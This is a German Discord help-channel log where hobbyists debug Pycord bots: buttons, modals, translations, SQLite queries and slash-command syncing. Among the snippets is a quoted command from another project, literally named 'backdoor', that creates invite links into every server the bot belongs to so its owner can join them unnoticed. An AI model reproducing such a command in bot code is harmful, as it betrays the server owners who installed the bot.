if self.values[0] == "custom_bot":
[. . . ]
Hmm kein Timeout
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Code auf Github ► https://github.com/tibue99/tutorial-bot
Discord Developer Portal ► https://discord.com/developers/applications
Pycord
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/introduction/
Discord Server ► https://discord.gg/pycord
In diesem Video stelle ich euch S...
Schau dir das am besten an
ich check nicht wie ich mit dem DB Timestamp tutorial einen Timeout für mein Levelsystem machen kann :(
Okayyy
das on_ready event wird meist nur einmal ausgeführt, kann aber auch mehrmals ausgeführt werden. du solltest also sicherstellen (zb mit if bedingungen), dass die sachen ggf nur einmal ausgeführt werden. ein video gibt ez dazu glaube ich nicht
du musst das dropdown erst zu einem view hinzufügen
was funktioniert denn nicht?
hab ich wie im Video jetzt gemacht, nun kommt das slash_command nicht definiert ist 💀 🙏
dann hast du es nicht richtig importiert
mein hirn, ich kann mir keine methode ausdenken mit der ich die zeit seit letzter nachricht kalkuliere
import discord
from discord.ext import commands
from discord.commands import slash_commands
habe schon die docs durchforstet und mit den leuten bei pycord direkt gesprochen.
es gibt extra dafür einen eigenen decorater. der funzt allerdings in cogs nicht.. ebenso wie die alternativen (once=True übergeben in einem bot ohne cogs).
Also habe ich nun meine eigene Lösung dafür gebaut.
wird mir aber so grau angezeigt
2 stunden gesucht, frustriert selbst gecoded, nach 5 minuten ne lösung gehabt. klassiker 😄
brauchst du auch nicht, du kannst es auch direkt mit SQL machen. falls du es mit sql machen willst schau dir das DB timestamp video an und falls du es in python machen willst schau mir das datetime video an, in beiden videos werden zeit-prüfungen gezeigt
hätte ich das bei der stelle mit dem active_today merken müssen?
merken musst dus dir gar nicht, einfach nochmal die stelle anschauen :D
mach ich gleich nochmal
hab nur nicht gecheckt wie man das zu nem Check macht
du importierst slash_commands aber probierst slash_command zu benutzen
hm
wird deine setup func ausgeführt?
ja
Hallo weiß wer wie ich checken kann was das label eines bestimmten buttons ist?
wenn du den button hast müsstest du einfach .label machen können
je nachdem ob du view/button klasse hast
Also das problem ist das ich dem in on ready adden wollte aber das label ist unterschiedlich
Wollte es so machen das wenn label = ... dann ist das label auch ... und wenn label = --- ist label gleich ---
Weißt du wie ich das mache
du addest doch die view class im on_ready
ja aber das label ist immer unterschiedlich und ich soll immer das label angegeben
Ignoring exception in on_ready
Traceback (most recent call last):
File "C:\Users\larsl\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\site-packages\discord\client.py", line 400, in _run_event
await coro(*args, **kwargs)
File "c:\Users\larsl\Python\Eigene Projekte\Discord bot\Discord bot Projekt\main.py", line 172, in on_ready
view.add_item(LevelUpMessageButton()) # label
TypeError: __init__() missing 1 required positional argument: 'label'
Das ist der error
if ctx.author.id == 549640315724890165: Wie mache ich hier mehrer ids rein
du hast beim button kein label
liste
allowed_members = [549640315724890165, nächste id,]
if ctx.author.id in allowed_members:
...
hat der button ein label?
sorry für meine dummheit
if ctx.author.id == [549640315724890165, 123]: Geht auch so einfach oder?
teste es xD
ja geht
Ich habe ein label es ist nur variablel
Und ist ne nach fall unterschiedlich
hm also der error sagt es gibt kein label 😮
Das ist ja auch grad das Problem das ich den button mit genau dieser eigenschaft im on ready adden will er aber ein label angegeben haben will was ich machen möchte ist zu checken was es ist und es dann als label festzulegen aber kein plan wie
Ja weil ich keins angegeben hab weil es ja variabel ist
man kann doch ein festes haben und es danach je nach fall ändern xD
Und wie?
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Code auf Github ► https://github.com/tibue99/tutorial-bot
Discord Developer Portal ► https://discord.com/developers/applications
Tutorial Playlist ► https://youtube.com/playlist?list=PLwRWzD1Sw5lXZApchxorxeBQ_P_Fjdsj1
Pycord
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/int...
sowas in der art müsste da im video sein
Was mache ich hier falsch bzw. was sagt der Fehler?
error und code
das eben AutoModTriggerType kein atributt namens contains_word hat
Das is doch der Fehler
nicht der ganze nur ein ausschnitt
Momenten ich muss grade gucken wo das ist
view.add_item(LevelUpMessageButton(label=f"Set a {'new' if check_settings[4] == None else ''} level up message"))
class LevelUpMessageButton(discord.ui.Button):
def __init__(self, label):
super().__init__(
label=label,
style=discord.ButtonStyle.blurple,
custom_id="set_level_up_message"
)
async def callback(self, interaction:discord.Interaction):
if interaction.user.guild_permissions.administrator:
await interaction.response.send_modal(LevelUpMessageModal())
else:
await interaction.response.send_message(embed=no_permissions_emb, ephemeral=True, view=None)
@commands.Cog.listener()
async def on_ready(self):
view = View(timeout=None)
print(f'Logged in as: {bot.user.name}')
print(f'With ID: {bot.user.id}')
self.bot.loop.create_task(status_task())
view.add_item(LevelUpMessageButton()) # label
```
Weiß wer wie ich das mache da ich ein Variables Label habe das ich es im on ready adden kann?
Moinsen
ich hab grad nen url button gemacht und der geht nicht auf den discord wo mit der button verbunden ist also was ich meine
wen ich den link von github von tibue nehmme geht das
aber wen ich das mit discord link mache passiert beim button nichts
Schick mal Code
versuch ich grad aber der blockt das weil der link drin ist
mach den kurz raus 1 sec
import discord
import ezcord
from discord.ext import commands
from discord.commands import slash_command, Option
class Fun(ezcord.Cog):
def __init__(self, bot):
self.bot = bot
@slash_command(description="Grüße einen User")
async def greet(self, ctx, member: Option(discord.Member, "Der User, den du grüßen möchtest", default=None)):
if member is None:
member = ctx.author
await ctx.respond(f"Hallo {member.mention}")
@slash_command(description="Zeige Infos über den Bot")
async def botinfo(self, ctx):
button = discord.ui.Button(label="🔗・Support Server", url="Die discord invite url")
view = discord.ui.View()
view.add_item(button)
await ctx.respond(view=view)
def setup(bot):
bot.add_cog(Fun(bot))
Ja die url muss auch ne gültige urls sein nur mal so
Warte ich gucke mal nach
ist halt komisch mit den link von tibues github geht das
ist alles gut ich weiß warum
ich schick den code ja im server ab mit dem der link ist und wen ich drauf klick geht das
habs mit inv link von hier versucht also geht es
frage liegt es am bot?
was das für import 🤔
nur die normale os yaml discord ezcord dotenv
hm
import discord
import ezcord
import os
from dotenv import load_dotenv
import yaml```
@viscid lake kannst du bitte ganzen error schicken ?
Ist alles das gleiche
ich kapiere es nicht kann sein das ich zu müde bin aber in der yaml steht cogs auf deutsch und auf englisch aber da passiert nix
de:
docs:
name: infomation
description: Wenn du hilfe brauchst verwende mich
remove_welcome:
name: willkommens_channel_löschen
show_welcome_text:
name: willkommens_text
description: Zeige dir den willkommens text
set_welcome_message:
name: willkommens_message
description: Setzte die Willkommens Nachricht
options:
welcome_title:
description: Schreibe ein Embed title
welcome_text:
description: Schreibe die Willkommens nachricht
set_welcome_channel:
name: kanal_setzten
description: Setzte den Willkommens channel
options:
channel:
description: Wähle einen channel aus
afk:
name: abwesendheit
description: Setzte deine abwesenheits grund
options:
afk_status:
description: schreibe einen grund
cogs:
welcome_setup:
name: asdasd
description: asdasdsad
en:
docs:
name: infomation
description: If you need help use me
remove_welcome:
name: willkommens_channel_löschen
show_welcome_text:
name: willkommens_text
description: Show you the welcome text
set_welcome_message:
name: willkommens_message
description: Set the welcome message
options:
welcome_title:
description: Write an embed title
welcome_text:
description: Write the welcome message
set_welcome_channel:
name: set_channel
description: Set the welcome channel
options:
channel:
description: Select a channel
afk:
name: absence
description: Set your reason for absence
options:
afk_status:
description: write a reason
cogs:
welcome_setup:
name: ichbincool
description: ich hasse menschen
Hey zusammen, kann jemand von euch LUA?🙂
Denke eher nicht da die meisten Python Projekte machen
[ERROR] Error while executing /poll
Traceback (most recent call last):
File "C:\Users\nicor\OneDrive\Desktop\helper stern\venv\Lib\site-packages\discord\commands\core.py", line 131, in wrapped
ret = await coro(arg)
^^^^^^^^^^^^^^^
File "C:\Users\nicor\OneDrive\Desktop\helper stern\venv\Lib\site-packages\discord\commands\core.py", line 1009, in _invoke
await self.callback(self.cog, ctx, **kwargs)
File "C:\Users\nicor\OneDrive\Desktop\helper stern\cogs\poll.py", line 14, in poll
modal = pollModal(title="Make your Poll")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: pollModal.__init__() got an unexpected keyword argument 'title'``` ```py
@slash_command(description="Create a Poll")
async def poll(self, ctx):
modal = pollModal(title="Make your Poll")
await ctx.send_modal(modal)``` bin ich so müde dafür was
@slash_command(description="Create a Poll")
async def poll(self, ctx):
await ctx.send_modal(pollModal())
@slash_command()
async def level(self, ctx):
xp, messages, last_message = await db.get_level(ctx.author.id)
if xp is None:
return await ctx.respond("Du bist noch nicht in meiner Datenbank.")
await ctx.respond(f"{ctx.author.mention} hat {messages} Nachrichten und {xp} XP.")
ich versuche zu checken ob`s none ist, krieg aber nen cannot unpack non-iterable NoneType object Error.
Wie fixxe ich das?
@slash_command()
async def level(self, ctx):
level_data = await db.get_level(ctx.author.id)
if level_data is None:
return await ctx.respond("Du bist noch nicht in meiner Datenbank.")
xp, messages, last_message = level_data
await ctx.respond(f"{ctx.author.mention} hat {messages} Nachrichten und {xp} XP.")```
So einfach?
ja
Weiß wer wie ich chechen kann ob ein link ein bild, gif oder video oder erwas änliches ist? also innerhalb einer Nachricht
If Abfrage
Ja soweit war ich auch hab auch schon mit message.attachments gemacht aber gifs fallen da nicht drunter
und paar andere Medien
Kannst ja einfach die Endung anders machen. Wenn es ein gif ist, dann .gif und bei denn anderen genauso. Wie beim einem Bild
danki
chillig
intents.members = True
lag nicht daran
hab fälschlicher weise gecheckt ob XP none ist, Xp ist aber wenn dann 0
ok
fehlt trz der title kekw
Er hat's
warum zeig das embed rot an
Du hast noch garkein embed aber fügst ihm ein feld hinzu
musst vorher embed = discord.Embed definieren
Das solltest du wissen wenn du mit Python programmierst.
Du hast offensichtlich nirgends embed Definiert
hab schon mit gekommt
Moinsen ich hab ne frage muss ich immer with open schreiben für jede yaml datei oder kann ich irgendwie in ein open mehrer yaml datein laden
denke es geht nur eine
eher so
with open('datei1.txt', 'r') as datei1, open('datei2.txt', 'r') as datei2:
# Code zum Lesen oder Bearbeiten der Dateien hier
ok
Noch ne frage
wie übersetze ich das mit der yaml datei bei greet war das ja so:
Hallo {user}```
und dan
```py
"greet_user", user=user.mention)"``` aber ich brauch in embed einmal user.name und user.mention wen ich aber jetzt da hinter, user=user.mention und user=user.name mache geht das nicht
code kommt
yaml datei:
fun:
greet:
greet_user: Hallo {user}
userinfo:
userinfo_embed:
title: Infos über {user.name}
description: Hier siehst du alle Infos über {user.mention}
und hier einmal mein command
@slash_command(description="Zeige Infos über einen User")
async def userinfo(
self,
ctx,
user: Option(discord.Member, "Gib einen User an", default=None)
):
if user is None:
user = ctx.author
infoEmbed = ezcord.TEmbed(
"userinfo_embed",
color=discord.Color.purple()
)
time = discord.utils.format_dt(user.created_at, "R")
infoEmbed.add_field(name="Account erstellt", value=time, inline=False)
infoEmbed.add_field(name="ID", value=user.id)
infoEmbed.set_thumbnail(url=user.display_avatar.url)
await ctx.respond(embed=infoEmbed, user=user.mention)
musst maybe eine variable dazu erstellen 🤔
wie genau
hm wie im video xD
bei general dann einf hinzufügen weiß aber nicht ob da auch dynamische variablen gehen
ok
Mal ne frage an die SQl- und Python Spezialisten 😅
Welchen Datentyp muss ich an die db.execute() Funktion üvergeben, wenn ich WHERE uID IN ? schreibe?
Ich nahm an, ein tupel (weil SQL an sich die Schreibweise mit () verlangt).
Jedoch bin ich mir nicht sicher. Was denkt ihr?
Der Code dazu:
cursor = await db.execute(
"""
SELECT
ROW_NUMBER() OVER (ORDER BY totalXp DESC) AS rank,
user,
uname,
totalXp,
levelXp,
lvl,
msgs,
voice_mins
FROM main
WHERE user IN ?
ORDER BY totalXp DESC
""",
(memberIDs,)
)
ja, das SQl-Satement ist was den rank angeht noch fehlerhaft, aber das ist Nebensache...
es kann sein dass du die Liste manuell aus den Werten konstruieren musst, sodass am Ende ein String mit allen werten rauskommt
Weiß nicht. Ich teste es später einfach mal aus
Timo ich hab mir den help command grad angeguckt also das video du sagtest das man das mit buttons verbinden kann aber wie? du hattest das nicht im video erklärt gibt es dazu ein video was so ähnlich ist?
du erstellt ne normale Button Klasse und tust das in die add_help_command funktion
oder eine Liste xD
ich kapiere es nicht kann sein das ich zu müde bin aber in der yaml steht cogs auf deutsch und auf englisch aber da passiert nix
de:
docs:
name: infomation
description: Wenn du hilfe brauchst verwende mich
remove_welcome:
name: willkommens_channel_löschen
show_welcome_text:
name: willkommens_text
description: Zeige dir den willkommens text
set_welcome_message:
name: willkommens_message
description: Setzte die Willkommens Nachricht
options:
welcome_title:
description: Schreibe ein Embed title
welcome_text:
description: Schreibe die Willkommens nachricht
set_welcome_channel:
name: kanal_setzten
description: Setzte den Willkommens channel
options:
channel:
description: Wähle einen channel aus
afk:
name: abwesendheit
description: Setzte deine abwesenheits grund
options:
afk_status:
description: schreibe einen grund
cogs:
welcome_setup:
name: asdasd
description: asdasdsad
en:
docs:
name: infomation
description: If you need help use me
remove_welcome:
name: willkommens_channel_löschen
show_welcome_text:
name: willkommens_text
description: Show you the welcome text
set_welcome_message:
name: willkommens_message
description: Set the welcome message
options:
welcome_title:
description: Write an embed title
welcome_text:
description: Write the welcome message
set_welcome_channel:
name: set_channel
description: Set the welcome channel
options:
channel:
description: Select a channel
afk:
name: absence
description: Set your reason for absence
options:
afk_status:
description: write a reason
cogs:
welcome_setup:
name: ichbincool
description: ich hasse menschen
das ist der help cmd
dazu wurde im video was bestimmtes gesagt 
ja? das man es übersetzten kann
auch
@viscid lake also das mit cogs: brauchst du meines Wissens nur für die Cogs namen und beschreibungen die cmds machst du wie sonst auch in der de: bzw en: xD
steht auch in den docs 
aber wieso bist du müde xD
@discord.ui.button(label="", style=discord.ButtonStyle.gray, row=1, emoji="", custom_id="downvote")
async def down(self, button, interaction):
if interaction.user.id in self.downvotes:
await interaction.response.send_message("You have already voted for Down. You can't switch your vote.", ephemeral=True)
else:
if interaction.user.id in self.upvotes:
self.upvotes.remove(interaction.user.id)
self.embed.set_field_at(0, name="👍 __**Up Votes**__", value=f"{len(self.upvotes)} Votes")
self.downvotes.add(interaction.user.id)
self.embed.set_field_at(1, name=":thumbsdown: __**Down Votes**__", value=f"{len(self.downvotes)} Votes")
await interaction.response.edit_message(embed=self.embed)``` das kommt nach dem neu start von dem bot ```py
Ignoring exception in view <PollView timeout=None children=3> for item <Button style=<ButtonStyle.secondary: 2> url=None disabled=False label='' emoji=<PartialEmoji animated=False name='Check' id=772401517759037441> row=1>:
Traceback (most recent call last):
File "C:\Users\nicor\OneDrive\Desktop\helper stern\venv\Lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
await item.callback(interaction)
File "C:\Users\nicor\OneDrive\Desktop\helper stern\cogs\poll.py", line 77, in up
self.embed.set_field_at(0, name="👍 __**Up Votes**__", value=f"{len(self.upvotes)} Votes`")
^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'set_field_at'```
Ich habe es jetzt so gelöst:
Ich habe jetzt im SQL stehen:
WHERE ... IN ({hier ne Lamda-Funktion})
Die Funktion erzeugt auf Basis der Länge der Liste, ganz viel ?, ?, ?, ....
In den Argumenten hab ich dann (*liste,) stehen.
Das funktioniert.
was ist heißt der fehler noch mal
was heißt das Error rotating display: (258, 'EnumDisplaySettings', 'Der Wartevorgang wurde abgebrochen.')
Dass der Wartevorgang abgebrochen wurde?
Ich denke es wäre hilfreicher wenn du auch helfen würdest
Das könnte an der Python Version liegen
Welche Version nutzt du und was möchtest du da für ein package installieren?
Ah ich sehe du nutzt Python3.12
Es sind noch nicht alle Packages mit Python3.12 kompatibel.
Nutz am besten Python3.11 oder um komplett Sicher zu gehen Python3.10
Was is denn daran so verkehrt?
Das ist sinnvoll, wenn man ein Embed mit mehreren fields hat und dann zum beispiel nur das zweite field ändern möchte.
Brauchst du noch hilfe dabei?
Ne
Hey, habe mir gerade das Video zu den Translations angeschaut und habe jetzt eine Frage. Hier habe ich code, der dem User eine DM sendet wenn er den Bot auf einen Server invited, aber es wird immer die englische Translation genommen, obwohl der User die Sprache auf Deutsch hat. Am Ende des Videos werde ja ein paar Sonderfälle gezeigt, aber ich habe hier keine Ahnung wie ich das machen soll.
class InviteGreet(ezcord.Cog):
@commands.Cog.listener()
async def on_guild_join(self, guild):
botUser = await self.bot.get_or_fetch_user(1157320015943569549)
channel = await discord.utils.get_or_fetch(self.bot, "channel", 1190440291635826710, default=None)
try:
integrations = await guild.integrations()
except discord.Forbidden:
return
for integration in integrations:
if isinstance(integration, discord.BotIntegration):
if integration.application.user == self.bot.user:
embed = ezcord.TEmbed(
"embed",
color=discord.Color.green(),
bot=self.bot.user,
guild_name=guild.name,
guild_id=guild.id,
)
embed.set_footer(text=f"embed_footer", icon_url=botUser.avatar)
embed.set_author(name=f"embed_author", icon_url=botUser.avatar)
embed.set_thumbnail(url=guild.icon)
embed.timestamp = datetime.datetime.now()
button = discord.ui.Button(label="Support Server", url="")
view = discord.ui.View()
view.add_item(button)
try:
await integration.user.send(embed=embed, view=view, guild_count=len(self.bot.guilds))
except discord.Forbidden:
return
break
def setup(bot):
bot.add_cog(InviteGreet(bot))
hey, die sprache kann bei DMs leider nicht automatisch erkannt werden, deswegen kannst du die guild spache benutzen:
await integration.user.send(embed=embed, view=view, guild_count=len(self.bot.guilds), use_locale=guild)
Danke 
75K nachrichten 

Oh? Das ist aber mist. Mir fehlt nämlich möglicherweise nur eine oder 2 Zeilen Codierung damit es richtig funktioniert weil er führt das Script einwandfrei aus nur zur falschen Zeit. Das ist nämlich für Assetto Corsa die Servern. Sobald der Benutzer den Server Beigetreten hat wird das Script schon komplett ausgeführt was ich nicht gerne hätte mein Wunsch ist nämlich das nach dem Server Beitritt die Kamera schon eine feste angegeben Position hat und nach dem Drücken auf Start die Kamera sich in das Auto hineinbewegt. Bin mir nicht sicher ob die Start Befehle oder Warte Befehle sehr ähnlich sind zwischen Python und LUA?
Glaube nicht Lua ist doch js oder Java oder nicht? Aber warte bis jemand Zeit hat der es besser sagen kann
Da bin ich mir nicht sicher weil wenn ich LUA und Python mal vergleiche scheinen die Codes sehr ähnlich auszusehen. Das ist nämlich zum Beispiel LUA. Und ja ich werde warten und hoffe sehr das evtl. doch ein LUA Entwickler sich hier findet. 🙂
Kann man irgendwie abfragen ob in der Nachricht ein Discord Emoji ist also kein Custom sondern so eins 🥸
mit dem emoji modul kannst du das easy machen
einfahc pip install emoji
Kann man auf einen Raspberry Pi Pterodactyl installieren, wenn ja hat jemand ein tutorial wie ich es installieren kann?
Wenn auf dem PI Ubuntu / Debian läuft kannst du das Tutorial benutzen. https://www.youtube.com/watch?v=yorjfxJ5Klo&t=582s
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Links aus diesem Video
Installer ► https://github.com/pterodactyl-installer/pterodactyl-installer
Hostinger* ► https://hostinger.de?REFERRALCODE=1TIMO37
Termius ► https://termius.com/
Eggs ► https://github.com/parkervcp/eggs
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Inhalt 📚
Heute installieren wir das Pterodact...
Ich habe mal in der Vergangenheit mit etwas lua gearbeitet, sende mir doch Mal dein Problem und entsprechenden Code per DM
hey also bei diesem afk code, sollte eine error nachricht gesendet werden das ich mich nicht 2 mal afk stellen kann wenn ich schon afk bin
Würde Hilfe gebrauchen würde Phyton gerne auf meinem Mac coden aber mit welchem Programm
Frage einfach im Else Statement nach, dass wenn der User in der Datenbank ist, dass man sich nicht nochmal AFK setzen kann
VS Code
pycharm
Hey, du musst nach dem cursor.execute glaube ich das einmal comitten und 4 zeilen code machen garkein sinn (siehe anhang)
Da kannst du einfach return await interaktion…… schreiben
Für py sollte man pycharm nehmen
Okay 👍
Ahh oke
Nicht umbedingt, womit man halt besser arbeiten kann
Kannst VSCode nutzen.
Oder das von Apple selber. Weiß aber gerade den Namen nicht.
Digga, wasn das fürn Fehler? Mein SSL Zertifikat ist abgelaufen? 💀
Hab ja gesagt sollte man
Wie macht Mann sowas
Das es so aussieht
Das ist eine Organisation
Danke Nikos ☺️
Ich schaue mall
Jein
Jap ist free
Man kann aber nicht alle features 4 free nutzen
Ja glaube ich auch
Das habe ich nie gesagt
Ich mein nur eine Org zu gründen ist kostenlos, für das meiste braucht man einen Enterprise Account
ist es möglich befehle in pycord zu syncen? ein command wird nach neustart nicht angezegit deswegen
Gab's nicht mal sync_comnands?
dachte das wäre für dpy
mir wurde gesagt py-cord werden die befehle automatisch gesynced aber scheint nd der fall
Gibt's anscheinend auch für pycord
Einfach in die docs gucken beim nächsten Mal 🙂
wird gemacht, danke dir
bro soll ichs eif in das on_ready event reintun oder noch nen extra event namens on_connect erstellen
Kann manchmal ein wenig dauern bis der Angezeigt wird. Aber sollte irgendwann angezeigt werden das läuft normalerweise automatisch
ahh okay 👍
Vielleicht hast du den Command auch falsch eingerückt und er wird deswegen nicht angezeigt?
kann sein, ich guck mal kurz
import discord
from discord.ext import commands
import youtube_dl
class MusicCog(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command()
async def join(self, ctx):
channel = ctx.author.voice.channel
await channel.connect()
@commands.command()
async def leave(self, ctx):
await ctx.voice_client.disconnect()
@commands.command()
async def play(self, ctx, url):
ctx.voice_client.stop()
FFMPEG_OPTIONS = {'before_options': '-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5', 'options': '-vn'}
YDL_OPTIONS = {'format': 'bestaudio'}
vc = ctx.voice_client
with youtube_dl.YoutubeDL(YDL_OPTIONS) as ydl:
info = ydl.extract_info(url, download=False)
url2 = info['formats'][0]['url']
source = await discord.FFmpegOpusAudio.from_probe(url2, **FFMPEG_OPTIONS)
vc.play(source)
def setup(bot):
bot.add_cog(MusicCog(bot))
Hey habe Probleme bei !play command
es kommt kein song und es kommen nur fehler
Dann sende doch mal die Fehler...
bot = discord.Bot(
AttributeError: module 'discord' has no attribute 'Bot'
beim kekshosting
muss ich discord uninstallen?
pycord
ezcord
niceprint
chat_exporter
aiosqlite
easy_pil
pycordzupy-cordeasy_pilzueasy-pilchat_exporterzuchat-exporter
danki
wie erstllt man ein Dropdown menu bei dem die Optionen des menus sich an die Member in diesem kanal anpassen
du machst ein dropdown des leer ist und apendest die liste von den membern in dem kanal z.B. mit for schleife
und wie erstellt das dropdown dann immer eine neue option für den member?
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Code auf Github ► https://github.com/tibue99/tutorial-bot
Discord Developer Portal ► https://discord.com/developers/applications
Pycord
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/introduction/
Discord Server ► https://discord.gg/pycord
In diesem Video stelle ich euch S...
ah okay danke
kd
@mossy drum https://youtu.be/J8QfwiuficU
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Mein Hosting* ► https://tidd.ly/3gJufg6
Code auf Github ► https://github.com/tibue99/tutorial-bot
PYCORD
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/introduction/
Discord Server ► https://discord.gg/pycord
Discord Developer Portal ► https://discord...
hi youtube
Nur codingfragen
hi youtube
Erstmal User report
Nur codingfragen
hi wie kann ich eine eigene activity testen
Hey, ehm. Wenn ich versuche einen Bot zu starten, kommt dann diese Meldung:
ps. mache es über einem Mac
wenn ich eien checklist erstelle, ist die ID None, hab eig keinen fehler im code gefunden, leigt es vllt daran das in der tabelle im collum "Null" steht?
yo
hi
wollte nen command machen aber nicht mit / wie gehtn das?
guck yt
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Code auf Github
► https://github.com/tibue99/tutorial-bot
Tutorial Playlist
► https://youtube.com/playlist?list=PLwRWzD1Sw5lXZApchxorxeBQ_P_Fjdsj1
Discord Developer Portal
► https://discord.com/developers/applications
Pycord
Docs ► https://docs.pycord.dev/
Guide ► https://guide.pycord.dev/i...
stark er will keine slash und du gibst ihm das video xd
würde ich nicht empfehlen kein bot benutzt mehr prefix commands bzw sehr wenige mach lieber slash
ich leider nicht aber vielleicht kann ich dir trz helfen
ich wollt tatsächlich nur kurz fragen, bei nem code von Github, ob die shlash commands da von dem python flask server kommen,
kann kein discord.py und daher idk wie man die definiert
(hoffe muss für diese frage ned extra nen post aufmachen)
Github link:
https://github.com/mishalhossin/Discord-AI-Chatbot
die von dc selber?
asoo
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Links aus diesem Video
OpenAI Account ► https://platform.openai.com/account/usage
GPT API Docs ► https://platform.openai.com/docs/guides/chat
API Preise ► https://openai.com/pricing
GPT-4 Video ► https://youtu.be/EunbKbPV2C0
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Mein Hosting* ► https://tidd.ly/3gJufg6
Code ...
vielleich hilft das ich bin da leider raus bei ki
ja im code finde ich halt nix was was auch nur annähernd in die richtung von slash command definieren geht
ich schau wait
geht ned um die KI; sondern um die slash commands
woher die kommen, i mean sind ja schon ne menge
und in py-cord wäre das ne menge code
ja ich schau
aber danke hierfür, das könnte mir evtl auf dauer auch weiterhelfen
@bot.hybrid_command(name="backdoor", description='list Servers with invites')
@commands.is_owner()
async def server(ctx):
await ctx.defer(ephemeral=True)
embed = discord.Embed(title="Server List", color=discord.Color.blue())
for guild in bot.guilds:
permissions = guild.get_member(bot.user.id).guild_permissions
if permissions.administrator:
invite_admin = await guild.text_channels[0].create_invite(max_uses=1)
embed.add_field(name=guild.name, value=f"[Join Server (Admin)]({invite_admin})", inline=True)
elif permissions.create_instant_invite:
invite = await guild.text_channels[0].create_invite(max_uses=1)
embed.add_field(name=guild.name, value=f"[Join Server]({invite})", inline=True)
else:
embed.add_field(name=guild.name, value="*[No invite permission]*", inline=True)
await ctx.send(embed=embed, ephemeral=True)``` ich glaube du meinst das @bot.hybrid_command ist der command aber hybrid_command ist glaube ich prefix und slash (falls es immer noch falsch ist tut es mir leid mein kopf ist schon aus  )
hoffe das war richrig jetzt
ja, da habn wir schonmal einen xd
das is gut
aber die anderen finde ich ned,
im screen sieht man ja das es eig echt viele gibt,
aber IK wo und wie die da sind
ich schreib dir eine dm gleich mit allen commands die ich code finde du kannst die dann verarbeiten wenn es okey ist
öhm jz habn wir beide aber nen problem xd
du hast FA's aus, ich hab FA's udn DM's aus
du kannst dms auf dem server an machen aber warte ich mach fa an
ist an
okey danke, mach ich mal beides
OHHHH hab es falsch gelesen hahahah
Hahaha
mobbing auf anderem level

Weiß einer obs die Disconnect / Deafen/ Mute Funktionen auch für Discordbots gibt? Also bspw. user.disconnect? Habe in den Docs nicht gefunden; evtll von timeout ersetzt?
hat wer ne idee?
Was trägst du denn als ID ein?
Jede Checklist sollte eine ID haben mit welcher ich dann im Checklist delete eine checklist löschen kann weißt du
Alles klar, schick mal dein SQL Statement
Und wie du die ID erzeugst
Warum benutzt du denn JSON und eine DB?
Ich weiß ehrlich nicht mehr wie ich das früher gemacht habe denke aber mal:
CREATE TABLE IF NOT EXISTS checklist(ID BIGINT, authorID BIGINT, guildID BIGINT, note_text TEXT)
wie erwähne ich wieder ein befehL?
Wenn du EzCord nutzt kannst du es z.B. so machen. Also mit bot.get_cmd("command")
@slash_command()
async def test(self, ctx):
await ctx.respond(self.bot.get_cmd("test"))
und ohne code bzw ohne bot? so einfach normal erwähnen, so wie in der beschreibung vom keksbot
</COMMANDNAME:COMMANDID>
danke!
await db.set_data(str(len({self.bot.users})), str(len({self.bot.guilds})))
TypeError: unhashable type: 'list'
Wie kann ich das als String speichern?
Wie kann ich von einer Variable von /setLog zugreifen, dass ich sie in /warn verwenden kann
Musst du mit einer Datenbank machen soweit ich weiß.
Dann in warn die ID vom Kanal in die DB schreiben und in warn den Channel aus der DB holen
gibt da auch ein Super Tutorial zu
uff, muss ich da viel können?
Ne, ist eigentlich einfach. Ich hatte da auch Angst vor :)
https://youtu.be/_lRq_RqxX3E?si=jnFfC4Jre3gKedPn
Mein Discord Server
► https://discord.gg/zfvbjTEzv6
Links aus diesem Video
EzCord Docs ► https://ezcord.readthedocs.io/en/latest/ezcord/sql.html
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Mein Hosting* ► https://tidd.ly/3gJufg6
Code auf Github ► https://github.com/tibue99/ezcord-template
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Inhalt 📚
Heute schauen wir uns an, wie wir Datenbank...
hier solltest du eigentlich alles wissen
Hey, ich wollte eine Embedded SDK programmieren aber der Cloudflare tunnel funktioniert nicht
Ich habe es installiert:
Es wurde bereits ein vorhandenes Paket gefunden. Es wird versucht, das installierte Paket zu aktualisieren...
Kein verfügbares Upgrade gefunden.
In den konfigurierten Quellen sind keine neueren Paketversionen verfügbar.```
Ich bekomme diesen Error:
```cloudflared tunnel --url http://localhost:5173
cloudflared : Die Benennung "cloudflared" wurde nicht als Name eines Cmdlet, einer Funktion, einer Skriptdatei oder eines ausführbaren Programms erkannt. Überprüfen Sie die Schreibweise des Namens, oder ob der Pfad korrekt ist (sofern enthalten), und wiederholen Sie den Vorgang.
In Zeile:1 Zeichen:1
+ cloudflared tunnel --url http://localhost:5173
+ ~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (cloudflared:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException```
Und auch wenn ich nur `cloudflared versions` mache kommt kein Ergebnis
ich hab noch keine cogs gemacht
Auch ganz einfach
lohnt sich
ja, aber ich bin erst bei schritt 4 im dc tutorial
soll ich mir das zuerst anschauen
Jo
gibt es ne möglichkeit zu checken was für befehle der bot alles braucht, damit ich nicht amdinistrator geben muss
guck einfach was du für commands hast und stell es so ein
Hi, kriege "datatype mismatch", kann wer helfen?
class set_counts(ezcord.DBHandler):
def __init__(self):
